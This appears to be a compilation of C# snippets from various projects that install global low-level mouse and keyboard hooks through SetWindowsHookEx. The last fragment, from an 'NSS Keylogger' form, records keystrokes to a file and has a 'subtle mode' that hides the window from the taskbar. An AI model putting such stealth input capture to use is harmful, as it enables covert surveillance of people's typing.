private static IntPtr SetHook(LowLevelMouseProc proc)
 {
     using (Process currentProcess = Process.GetCurrentProcess())
     {
         using (ProcessModule currentModule = currentProcess.MainModule)
             return SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle(currentModule.ModuleName), 0);
     }
 }

 /// <summary>
 /// Get Current Process and Module and Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread
 /// </summary>
 /// <param name="proc">HookCallback</param>
 /// <returns></returns>
 public static IntPtr SetHook(LowLevelMouseProc proc)
 {
     using (var curProcess = Process.GetCurrentProcess())
     using (var curModule = curProcess.MainModule)
     {
         return SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
     }
 }

        public Hook(LowLevelMouseProc callback)
        {
            this._Callback = GCHandle.Alloc(callback);

            if ((this._Handle = NativeMethods.SetWindowsHookExW(NativeMethods.WH_MOUSE_LL, Marshal.GetFunctionPointerForDelegate(callback), NativeMethods.GetModuleHandle(), 0)) == IntPtr.Zero)
            {
                throw new Win32Exception();
            }
        }

 private static IntPtr SetHook(LowLevelMouseProc proc)
 {
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
         IntPtr hook = SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle("user32"), 0);
         if (hook == IntPtr.Zero) throw new System.ComponentModel.Win32Exception();
         return hook;
     }
 }

 private IntPtr SetHook(LowLevelMouseProc proc)
 {
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
         _proc = HookCallback;
         return SetWindowsHookEx(WH_MOUSE_LL, _proc,
             GetModuleHandle(curModule.ModuleName), 0);
     }
 }

 static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc callback, IntPtr hInstance, uint threadId);

 public MouseHook()
 {
     //Install Hook, return handle to the hook procedure
     llMouseProc = new LowLevelMouseProc(HookCallback);
     _hookID = SetHook(llMouseProc);
 }

 static MouseCapture()
 {
     s_hook = SetWindowsHookEx(WH_MOUSE_LL,
         s_proc = new LowLevelMouseProc(HookProc),
         System.Runtime.InteropServices.Marshal.GetHINSTANCE(typeof(MouseCapture).Module),
         //GetModuleHandle(null),
         0);
     s_eventArgs = new MouseCaptureEventArgs();
     AppDomain.CurrentDomain.DomainUnload += delegate
     {
         if (s_hook != IntPtr.Zero)
             UnhookWindowsHookEx(s_hook);
     };
 }

 /* 
  * SetHook: attach a mouse movement listener to the current process
  * @param LowLevelMouseProc proc: The mouse listener
  * @return IntPtr: The hook
  */
 private static IntPtr SetHook(LowLevelMouseProc proc)
 {
     // Attach to the current process
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
         return SetWindowsHookEx(WH_MOUSE_LL, proc,
           GetModuleHandle(curModule.ModuleName), 0);
     } // end using curProcess
 } // end SetHook

 static IntPtr SetHook(LowLevelMouseProc proc)
 {
     IntPtr p = IntPtr.Zero;
     try
     {
         using (Process curProcess = Process.GetCurrentProcess())
         using (ProcessModule curModule = curProcess.MainModule)
         {
             p = SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
         }
     }
     catch
     {
     }
     return p;
 }

 private static IntPtr SetHookMouse(LowLevelMouseProc proc)
 {
     using (System.Diagnostics.Process curProcess = System.Diagnostics.Process.GetCurrentProcess())
     using (System.Diagnostics.ProcessModule curModule = curProcess.MainModule)
     {
         return SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
     }
 }

 public MouseHook()
 {
     callback = new LowLevelMouseProc(MouseCallback);
     handle = Win32.SetWindowsHookEx(WH_MOUSE_LL, callback, IntPtr.Zero, 0);
 }

 private IntPtr SetHook(LowLevelMouseProc proc)
 {
     ProcessModule curModule = Process.GetCurrentProcess().MainModule;
     return SetWindowsHookEx(WH_MOUSE_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
 }

 static extern IntPtr SetWindowsHookEx(int idHook,
     LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);

 private static IntPtr SetHookM(LowLevelMouseProc procm)
 {
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
         return User32.SetWindowsHookEx(WH_MOUSE_LL, procm, Kernel32.GetModuleHandle(curModule.ModuleName), 0);
     }
 }

        public MainWindow()
        {
            _proc = HookCallback;

            _hookId = SetHook(_proc);
            //Application.Run();

            _timer.Interval = 1;
            _timer.Tick += _timer_Tick;
            InitializeComponent();
            _timer.Start();
            _area = Screen.PrimaryScreen.WorkingArea;

            _world = new World(new Vector2(0, 9.8f));

            // Farseer expects objects to be scaled to MKS (meters, kilos, seconds)
            // 1 meters equals 64 pixels here
            ConvertUnits.SetDisplayUnitToSimUnitRatio(64f);

            /* Circle */
            // Convert screen center from pixels to meters
            Vector2 circlePosition = ConvertUnits.ToSimUnits(new Vector2((float)_area.Width/2, (float)_area.Height/2));

            Left = (float)_area.Width/2 - (Width/2);
            Top = (float) _area.Height/2 - (Height/2);

            // Create the circle fixture
            _circleBody = BodyFactory.CreateCircle(_world, ConvertUnits.ToSimUnits(100 / 2f), 10f, circlePosition);
            _circleBody.BodyType = BodyType.Dynamic;
            _circleBody.ApplyTorque(500f);

            // Create the ground fixture
            _groundBody = BodyFactory.CreateRectangle(_world, ConvertUnits.ToSimUnits(_area.Width*4),
                                                      ConvertUnits.ToSimUnits(1f), 1f,
                                                      ConvertUnits.ToSimUnits(new Vector2(_area.Width/2, _area.Height)));
            _groundBody.IsStatic = true;
            _groundBody.Restitution = 0.8f;
            _groundBody.Friction = 0.5f;

            // Create east wall
            _groundBody2 = BodyFactory.CreateRectangle(_world, ConvertUnits.ToSimUnits(1f),
                                                       ConvertUnits.ToSimUnits(_area.Height), 1f,
                                                       ConvertUnits.ToSimUnits(new Vector2(_area.Width * 2 - 50,
                                                                                           _area.Height)));
            _groundBody2.IsStatic = true;
            _groundBody2.Restitution = 0.8f;
            _groundBody2.Friction = 0.5f;
        }

        public KeyboardMouseHook(KeyboardEventHandler eventKeyDown)
        {
            //Create an event using a delegate to fire whenever data is received by the hook
            myEventKeyOrMouse = eventKeyDown;
            _Keyboardproc = KeyboardHookCallback;
            _KeyboardhookID = SetKeyboardHook(_Keyboardproc);

            _Mouseproc = MouseHookCallback;
            _MousehookID = SetMouseHook(_Mouseproc);

            Modifiers = KeyModifiers.None;
        }

 public void ActivateHook()
 {
     HookHandleFct = HookHandle;
     IntPtr hInstance = LoadLibrary("User32");
     Hook = SetWindowsHookEx(WH_MOUSE_LL, HookHandleFct, hInstance, 0);
 }

        //Constructor
        public Clicktastic()
        {
            InitializeComponent();
            soundEffects = new SoundEffects(ref axMedia, ref soundSemaphore, ref mediaSemaphore, ref Stopped);

            _procKey = HookCallbackKey;
            _procMouse = HookCallbackMouse;
            _hookIDKey = SetHookKey(_procKey);
            _hookIDMouse = SetHookMouse(_procMouse);

            if (!Directory.Exists(currentDirectory))
            {
                try
                {
                    Directory.CreateDirectory(currentDirectory);
                }
                catch { }
            }
            previousProfile = Properties.Settings.Default.DefaultProfile;

            RetryAttempts = 0;
            try
            {
                foreach (string file in Directory.GetFiles(currentDirectory, "*.clk"))
                {
                    ddbProfile.Items.Add(Path.GetFileNameWithoutExtension(file));
                }
                ddbProfile.SelectedItem = previousProfile;
            }
            catch { }
            Boolean loaded = false;
            Loading = true;
            while (!loaded)
            {
                loaded = AttemptLoad();
            }
            Startup = false;
            SetInstructions();
        }

        //Constructor
        public NSSKeyloggerForm()
        {
            InitializeComponent();

            _procKey = HookCallbackKey;
            _procMouse = HookCallbackMouse;
            _hookIDKey = SetHookKey(_procKey);
            _hookIDMouse = SetHookMouse(_procMouse);

            if (!Directory.Exists(currentDirectory))
            {
                try
                {
                    Directory.CreateDirectory(currentDirectory);
                }
                catch { }
            }
            previousProfile = Properties.Settings.Default.DefaultProfile;

            RetryAttempts = 0;
            try
            {
                foreach (string file in Directory.GetFiles(currentDirectory, "*.nss"))
                {
                    ddbProfile.Items.Add(Path.GetFileNameWithoutExtension(file));
                }
                ddbProfile.SelectedItem = previousProfile;
            }
            catch { }
            Boolean loaded = false;
            Loading = true;
            while (!loaded)
            {
                loaded = AttemptLoad();
            }
            SetInstructions();

            //Clear keylog
            if (cbClearOnStartup.Checked)
            {
                if (File.Exists(tbKeylogSaveLocation.Text))
                {
                    try
                    {
                        File.Delete(tbKeylogSaveLocation.Text); //delete the old
                        File.Create(tbKeylogSaveLocation.Text).Dispose(); //create a new empty one
                    }
                    catch { MessageBox.Show("Unable to clear keylog!", "NSS Keylogger", MessageBoxButtons.OK, MessageBoxIcon.Error); }
                }
                else
                { //maybe keylog is already empty?
                    try
                    {
                        File.Create(tbKeylogSaveLocation.Text).Dispose();
                    } //create a new empty one
                    catch { MessageBox.Show("Unable to access keylog!", "NSS Keylogger", MessageBoxButtons.OK, MessageBoxIcon.Error); }
                }
            }

            //Start in subtle mode
            if (cbStartupSubtleMode.Checked)
            {
                ToggleKeylogger(profileData.ActivationKey.key);
                StartupSubtleMode = true;
                SubtleModeActivated = true;
                this.WindowState = FormWindowState.Minimized;
                this.ShowInTaskbar = false;
            }
            Startup = false;
        }